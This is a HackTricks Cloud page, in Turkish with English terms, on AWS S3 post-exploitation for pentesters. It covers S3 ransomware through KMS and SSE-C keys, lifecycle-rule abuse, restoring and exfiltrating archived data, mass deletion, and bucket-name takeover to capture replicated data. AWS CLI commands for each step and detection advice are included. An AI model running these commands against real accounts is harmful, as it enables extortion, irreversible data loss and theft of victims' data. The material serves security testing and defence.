hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

AWS - S3 Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

S3

Daha fazla bilgi için bakın:

{{#ref}} ../../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}}

Sensitive Information

Bazen bucket'larda okunabilir halde sensitive information bulabilirsiniz. Örneğin, terraform state secrets.

Pivoting

Farklı platformlar sensitive asset'leri saklamak için S3 kullanıyor olabilir.
Örneğin, airflow DAGs code'unu orada saklıyor olabilir ya da web pages doğrudan S3 üzerinden servis edilebilir. Write permissions olan bir attacker bucket'taki code'u modify ederek diğer platformlara pivot yapabilir veya JS files değiştirerek hesapları takeover edebilir.

S3 Ransomware

Bu senaryoda, attacker kendi AWS account'unda veya başka bir compromised account'ta bir KMS (Key Management Service) key oluşturur. Ardından bu key'i dünyadaki herkese accessible hale getirir; böylece herhangi bir AWS user, role veya account bu key'i kullanarak objects encrypt edebilir. Ancak objects decrypt edilemez.

Attacker bir hedef S3 bucket belirler ve çeşitli yöntemlerle buna write-level access elde eder. Bu, bucket'ın kötü yapılandırılmış olup herkese açık olmasından ya da attacker'ın doğrudan AWS environment'a erişim kazanmasından kaynaklanabilir. Attacker genellikle personally identifiable information (PII), protected health information (PHI), logs, backups ve daha fazlasını içeren bucket'ları hedef alır.

Bucket'ın ransomware için hedeflenip hedeflenemeyeceğini anlamak için attacker configuration'ını kontrol eder. Buna S3 Object Versioning'in enabled olup olmadığını ve multi-factor authentication delete (MFA delete)'in enabled olup olmadığını doğrulamak dahildir. Eğer Object Versioning enabled değilse, attacker devam edebilir. Eğer Object Versioning enabled ama MFA delete disabled ise, attacker Object Versioning'i disable edebilir. Eğer hem Object Versioning hem de MFA delete enabled ise, attacker'ın o specific bucket'a ransomware uygulaması daha zor hale gelir.

AWS API kullanarak attacker, bucket'taki her object'i kendi KMS key'iyle encrypted copy ile replace eder. Bu, bucket'taki data'yı etkili şekilde encrypt eder ve key olmadan erişilemez hale getirir.

Ek baskı oluşturmak için attacker, saldırıda kullanılan KMS key'in deletion'ını schedule eder. Bu, target'a key deleted olmadan ve data permanently lost hale gelmeden önce verilerini kurtarmak için 7 günlük bir süre verir.

Son olarak attacker, genellikle "ransom-note.txt" adlı bir final file upload edebilir; bu file target'a dosyalarını nasıl geri alacağına dair instructions içerir. Bu file encryption olmadan upload edilir; muhtemelen target'ın dikkatini çekmek ve ransomware attack'ı fark etmesini sağlamak için.

SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)

Başka bir variant, SSE-C'yi (customer-provided keys ile S3 server-side encryption) abuse etmektir. SSE-C ile client her request'te encryption key sağlar ve AWS key'i store etmez. Bu, eğer attacker objects'i kendi SSE-C key'i ile yeniden yazar ise, victim bu attacker-controlled key'i sağlayamadıkça data'sı unreadable hale gelir.

• Preconditions: Compromised AWS credentials (veya gerekli permissions'a sahip herhangi bir principal) ve objects'i rewrite edebilme yeteneği (ör. hedef keys/prefix'ler üzerinde s3:PutObject). Bu çoğu zaman destructive lifecycle policies ayarlama yeteneğiyle birlikte olur (aşağıya bakın), ör. s3:PutLifecycleConfiguration.
• Attack chain:

1. Attacker rastgele 256-bit key (AES-256) üretir ve bunu saklar.
2. Attacker mevcut objects'i (aynı object keys) SSE-C headers kullanarak rewrite eder; böylece stored object artık attacker key'i ile encrypted olur.
3. Victim, SSE-C key'i sağlamadan download/decrypt edemez (IAM permissions uygun olsa bile).
4. Attacker key'i silebilir (veya basitçe hiç paylaşmayabilir), böylece data unrecoverable olur.

Örnek (conceptual) CLI kullanımı:

# Upload/overwrite an object encrypted with attacker-provided SSE-C key
aws s3 cp ./file s3://<BUCKET>/<KEY> \
--sse-c AES256 \
--sse-c-key <BASE64_32_BYTES>

# Download requires providing the same key again
aws s3 cp s3://<BUCKET>/<KEY> ./file \
--sse-c AES256 \
--sse-c-key <BASE64_32_BYTES>

Adding Pressure: Lifecycle "Timer" Abuse

Eski sürümler gibi recovery seçeneklerini kaldırmak için attackers, SSE-C rewrites ile kısa süre sonra nesneleri sonlandıran ve/veya noncurrent versions’ları silen lifecycle rules’u birlikte kullanabilir:

• Bucket üzerindeki s3:PutLifecycleConfiguration, bir attacker’ın her object/version için açık delete işlemi yapmadan silmeleri planlamasına izin verir.
• Bu, özellikle versioning etkin olduğunda etkilidir; çünkü aksi halde recovery sağlayabilecek “önceki iyi sürüm”ü kaldırabilir.

Detection & Mitigations

• SSE-C’ye izin vermek için güçlü bir operasyonel nedeniniz yoksa SSE-KMS (veya SSE-S3) kullanmayı tercih edin.
• SSE-C headers kullanan PutObject isteklerini izleyin/uyarı verin (S3 için CloudTrail data events).
• Beklenmeyen PutBucketLifecycleConfiguration (lifecycle değişiklikleri) olaylarını izleyin/uyarı verin.
• Aynı keys’in hızla güncellenmesi gibi overwrite activity’de ani artışları ve delete-marker/version deletions olaylarını izleyin/uyarı verin.
• Yüksek riskli izinleri kısıtlayın: s3:PutObject izinlerini gerekli prefixes ile sınırlayın; s3:PutLifecycleConfiguration ve s3:PutBucketVersioning izinlerini güçlü şekilde kısıtlayın; hassas admin işlemleri için uygun olduğunda MFA gerektirmeyi düşünün ve onay mekanizmaları olan ayrı admin roles kullanın.
• Recovery posture: versioning, backups ve immutable/offline kopyalar kullanın (korumalı account’a S3 replication, backup vaults vb.); noncurrent versions’ları agresif silinmeye karşı koruyun ve lifecycle değişikliklerini SCPs / guardrails ile koruyun.

s3:RestoreObject

s3:RestoreObject iznine sahip bir attacker, Glacier veya Deep Archive içinde arşivlenmiş objects’i yeniden etkinleştirebilir ve bunları geçici olarak erişilebilir hale getirebilir. Bu, normalde erişilemeyecek tarihsel olarak arşivlenmiş verilerin (backups, snapshots, logs, certifications, eski secrets) recovery ve exfiltration işlemlerine olanak tanır. Attacker bu izni read permissions (ör. s3:GetObject) ile birleştirirse, hassas verilerin tam kopyalarını elde edebilir.

aws s3api restore-object \
--bucket <BUCKET_NAME> \
--key <OBJECT_KEY> \
--restore-request '{
"Days": <NUMBER_OF_DAYS>,
"GlacierJobParameters": { "Tier": "Standard" }
}'

s3:Delete*

s3:Delete* iznine sahip bir attacker, nesneleri, sürümleri ve tüm bucket'ları silebilir, backups'ı bozabilir ve anında geri alınamaz data loss, evidence destruction ve backup veya recovery artifacts compromise'a neden olabilir.

# Delete an object from a bucket
aws s3api delete-object \
--bucket <BUCKET_NAME> \
--key <OBJECT_KEY>

# Delete a specific version
aws s3api delete-object \
--bucket <BUCKET_NAME> \
--key <OBJECT_KEY> \
--version-id <VERSION_ID>

# Delete a bucket
aws s3api delete-bucket \
--bucket <BUCKET_NAME>

Otonom yazarların global bucket adı takeover’ı - s3:DeleteBucket

S3 bucket adları global olarak benzersizdir. Bir victim account, arn:aws:s3:::<bucket-name> adresine veri teslim etmeye devam eden automated writers’a sahipse ve bir attacker bu bucket’ı empty/delete edebilirse, attacker aynı bucket adını attacker-controlled bir account içinde yeniden oluşturabilir ve upstream service configuration değiştirmeden future deliveries alabilir.

İncelenmesi gereken iyi targets arasında S3 replication destinations, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains that land in S3 ve custom backup veya export jobs bulunur.

# Review S3 replication destinations on source buckets
aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>

# Review Firehose S3 destinations
aws firehose describe-delivery-stream \
--delivery-stream-name <DELIVERY_STREAM_NAME>

# Empty and delete the target bucket, if permitted
aws s3 rm s3://<BUCKET_NAME> --recursive
aws s3api delete-bucket --bucket <BUCKET_NAME>

# Recreate the same globally-unique name in the attacker account
aws s3 mb s3://<BUCKET_NAME> --region <REGION>

Değiştirilen bucket policy, upstream writer’ın nesneler koymasına izin vermelidir. Tam principal, service’e bağlıdır: örneğin bir IAM replication role, bir Firehose delivery role veya aws:SourceArn / aws:SourceAccount ile kısıtlanmış bir service principal.

Potential Impact: gelecekte replicate edilen objects, logs, telemetry, backups ve pipeline artifacts’ların attacker-controlled bir AWS account’a sessizce exfiltration edilmesi.

Detection & Mitigation: replication rules veya delivery streams tarafından referans edilen buckets’ın deletion’ı için alert verin, bucket recreation ile takip edilen NoSuchBucket delivery failures’ı monitor edin, export destinations üzerinde s3:DeleteBucket kısıtlayın ve cross-account deliveries’i sıkı bucket policies ve ownership expectations ile pinleyin.

For more info check the original research.

{{#include ../../../../banners/hacktricks-training.md}}